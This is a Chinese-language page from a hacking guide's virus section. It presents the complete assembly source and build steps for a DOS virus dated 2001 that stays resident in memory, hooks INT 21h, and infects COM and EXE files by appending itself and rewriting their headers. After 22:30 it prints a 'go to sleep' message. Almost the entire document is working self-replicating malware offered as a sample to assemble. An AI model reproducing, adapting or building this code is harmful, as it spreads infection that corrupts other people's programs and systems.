※黑客攻防指南※==>病毒信息==>编写感染COM与EXE文件的病毒的样例程序编写感染COM与EXE文件的病毒的样例程序;此程序是d由v0病毒改装升级而来;在DOS下才有一定的传染能力;此程序部分应用了32位编程;制作方法如下;tasm32 dv1;;tlink dv1;;Debug dv1.exe;-n ;-w;-q;最后生成病毒程序OFF equ OffsetDosMcb Struc ;Dos内存控制链结构(部分)Flag db ? ;是'M'则不是最后一块;是 'Z'则是最后一块Owner dw ? ;是008: 则是系统所有;是0则为未使用内存块Sizes dw ? ;本块大小,按节计算(1节=10h字节)DosMcb EndsExeHeader Struc ;Exe文件头结构Flags dw 'ZM';Exe文件标志ModSize dw ? ;Exe文件最后一页字节数Pages dw ? ;Exe文件页数(1页为512字节)Reloc dw ? ;Exe文件从定位项数MeSize dw ? ;本文头节数MinMem dw ? ;该程序所须最小内存(节)MaxMem dw ? ;该程序所须最大内存(节)StartSs dw ? ;程序Sp初值StartSp dw ? ;程序相对Ss初值CheckSum dw ? ;文件头检查和StartIp dw ? ;程序Ip初值StartCs dw ? ;程序相对Cs初值RelocOff dw ? ;从定位信息偏移ExeHeader EndsVirusSize=OFF @@End-OFF @@Start ;(病毒大小)VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存大小).386.model small.codeorg 100h ;按COM格式编写@@Start: ;病毒引导块pusha ;保存所有通用寄存器mov ax,4d4dhint 21h ;是否已经驻留内存(自定义中断)cmp ax,4d4dhjz short @@ExecOldApp ;否,调用安装模块call @@Install@@ExecOldApp:mov ah,2chint 21h ;得到系统时间cmp cx,22*100h+30 ;(Cmp 时间:22:30)jb short @@TestFlag ;不到22:30不调用显示消息call @@DisplayMsg ;调用表现块@@TestFlag:clc ;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)jc short @@IsExeApp@@IsComApp:call @@GetOldComAppCodeOldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dosdw 0000h ;这里为保存原COM文件头部4字节信息@@GetOldComAppCode:pop si ;得到OldAppCode的地址mov di,100hcldlodsdstosd ;恢复原COM头部4字节popa ;恢复所有通用寄器push word ptr 100hret ;去执行原COM程序@@IsExeApp:popa ;恢复所有通用寄器cli ;改变堆栈指针时要关闭中断mov sp,es ;得到Psp( Sp=PSP段址)add sp,10hSpAddData dw 0c481h;0bch是add sp,xxxx指令OldAppSs dw 000h ;原Exe文件Ss相对值mov ss,sp ;计算出原程序堆栈并恢复MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令OldAppSp dw 000h ;原Exe文件Sp值sti ;从新开启中断push axmov ax,es ;得到Psp( Ax=PSP段址)add ax,10hAxAddData db 005h ;05h是add ax,xxxx指令,计算原程序Cs值OldAppCs dw 000h ;原Exe文件Cs相对值movzx esp,sp ;转化为32位[esp]式堆栈寻址xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址PushWordData db 068h ;068h是push word ptr xxxx指令OldAppIp dw 000h ;原Exe文件Ip值retf ;去执行原Exe程序@@Install:push dspush es ;保存段寄存器mov ax,dsdec ax ;得到自己的MCB结构段址,它在程序的PSP前@@ContFindLastMcb:mov ds,axcmp ds:[Flag],'Z' ;是最后一块吗?jz short @@FoundLastMcbadd ax,ds:[Sizes]inc ax ;计算下一个MCB 的段址=本块段址+本块大小+1jmp short @@ContFindLastMcb@@FoundLastMcb:sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)add ax,ds:[Sizes]inc ax ;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)mov es,axxor di,dipush cspop ds ;复位数据段call @@GetVirusBase@@GetVirusBase:pop sisub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址mov cx,VirusSizecldrep movsb ;把病毒搬运到高端地址sub ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)mov ds,ax@@ContInstall:mov ax,3521hint 21h ;取Int 21h的中断向量,并保存mov ds:OldInt21Seg,esmov ds:OldInt21Off,bxlea dx,@@NewInt21mov ax,2521hint 21h ;设新的Int 21h处理程序到@@NewInt21处pop espop dsret@@NewInt21: ;新Int21 h服务程序(传染块)cmp ax,4d4dhjnz short @@NextHookiret ;是自定义中断,直接返回@@NextHook:cmp ah,4bhjz short @@MyBeComcmp ah,43hjz short @@MyBeComcmp ah,3dhjz short @@MyBeCom ;截获4b,43,3d号Dos功能@@JmpOldInt21:cli ; 进入Int21h前,需要关中断!JmpFar db 0eah ;远跳转指令jmp xxxx:xxxxOldInt21Off dw ?OldInt21Seg dw ?@@CallInt21: ; 模拟Int 21h指令pushfpush cscall @@JmpOldInt21ret@@MyBeCom: ;入口参数ds:dx=以零结尾的Com文件名字符串pushapush dsmov si,dxxor al,al@@ContFindExtName: ;找扩展名inc sicmp [si],aljnz short @@ContFindExtNamemov eax,[si-4]or eax,20202020h ;转化为小写字母cmp eax,'moc.' ;是.com文件吗?jz short @@IsComFilecmp eax,'exe.' ;是.exe文件吗?jz short @@IsExeFile@@ExitOpt:pop dspopajmp short @@JmpOldInt21@@IsComFile:call @@CallInt21 ;3dh,打开COM文件jc short @@OptComFalse ;失败mov bx,axpush cspop ds ;复位数据段mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示传染的是Com文件lea dx,OldAppCodemov cx,4mov ah,3fhint 21h ;读文件首部4字节jc short @@CloseComFilemov si,dxcmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能仅由扩展名判断)jz short @@CloseComFile ;是就不感染cmp byte ptr[si+3],'V';是否有已感染病毒标志jz short @@CloseComFile ;是则说明该程序已经被感染了mov ax,4202hxor cx,cxxor dx,dxint 21h ;将文件指针移到文件尾,返回dx:ax=文件长度or dx,dxjnz short @@CloseComFile ;文件太大不感染mov dx,axadd ax,VirusSizejc short @@CloseComFile ;文件太大不感染cmp ax,0fd00hja short @@CloseComFile ;文件太大不感染sub dx,03 ;计算出Jmp Virus的偏移量mov ds:JmpOffset,dxlea dx,@@Startmov cx,VirusSizemov ah,40hint 21h ;将病毒写到文件尾部mov ax,4200hxor cx,cxxor dx,dxint 21h ;把文件指针移到文件首mov cx,04hlea dx,@@JmpVirusmov ah,40hint 21h ;写Jmp Virus与病毒Flag 4字节到文件首部@@CloseComFile:int 21h ;关闭文件@@OptComFalse:jmp short @@ExitOpt@@IsExeFile:mov ax,3d02hcall @@CallInt21 ;3dh,打开Exe文件jc @@OptExeFalse ;失败mov bx,axpush cspop ds ;复位数据段mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示传染的是Exe文件lea dx,MyExeHeadermov cx,size ExeHeadermov ah,3fhint 21h ;读文件首部4字节jc @@CloseExeFilecmp ax,cxjb @@CloseExeFilemov si,dxcmp word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能仅由扩展名判断)jnz @@CloseExeFile ;不是就不感染cmp [si.CheckSum],'VV' ;是否有已感染病毒标志jz @@CloseExeFile ;是则说明该程序已经被感染了mov ax,4202hxor cx,cxxor dx,dxint 21h ;将文件指针移到文件尾,返回dx:ax=文件长度cmp dx,8hja short @@CloseExeFile ;文件太大,可能是Windows应用程序shl edx,16mov dx,axpush edx ;保存文件大小shr edx,4sub dx,[si.MeSize] ;计算病毒在该Exe程序中新的相对Csand ax,0fh ;计算病毒在该Exe程序中新的Ip值(0=<Ip<10h)mov cx,dx ;cx=dx=新的相对Cs值xchg [si.StartCs],dxmov ds:[OldAppCs],dx ;修改相对Cs值,保存原相对Cs值xchg [si.StartSs],cxmov ds:[OldAppSs],cx ;修改相对Ss值,保存原相对Ss值xchg [si.StartIp],axmov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值xchg [si.StartSp],ax ;修改Sp值,保存原Sp值mov ds:[OldAppSp],axmov [si.CheckSum],'VV';设置传染标志pop edx ;弹出文件大小mov ecx,VirusSizeadd edx,ecx ;计算感染后文件的大小mov ax,dxand ax,1ffh ;计算感染后文件的ModSizemov [si.ModSize],axadd edx,1ffhshr edx,9 ;计算感染后文件的Pagesmov [si.Pages],dxlea dx,@@Startmov ah,40hint 21h ;将病毒写到文件尾部mov ax,4200hxor cx,cxxor dx,dxint 21h ;把文件指针移到文件首mov cx,size ExeHeaderlea dx,MyExeHeadermov ah,40hint 21h ;写文件头到文件首部@@CloseExeFile:mov ah,3ehint 21h ;关闭文件@@OptExeFalse:jmp @@ExitOpt@@JmpVirus:JumpNear db 0e9h ;近转移指令Jmp near xxxxJmpOffset dw ?VirusFlag db 'V' ;病毒标志为'V'字符@@DisplayMsg:pop dxpush dxadd dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量push dspush cspop dsmov ah,09hint 21h ;显示信息,“夜已深,你该睡觉了!”pop dsret@@Message:db 0ah,0dh,07hdb 'Night is deep,you must go sleep!' db 0ah,0dh,'$'db 'Go Sleep Ver3.0 by Whg 2001.5.2' @@End:MyExeHeader db size ExeHeader dup(?) @@MemEnd:end @@Start。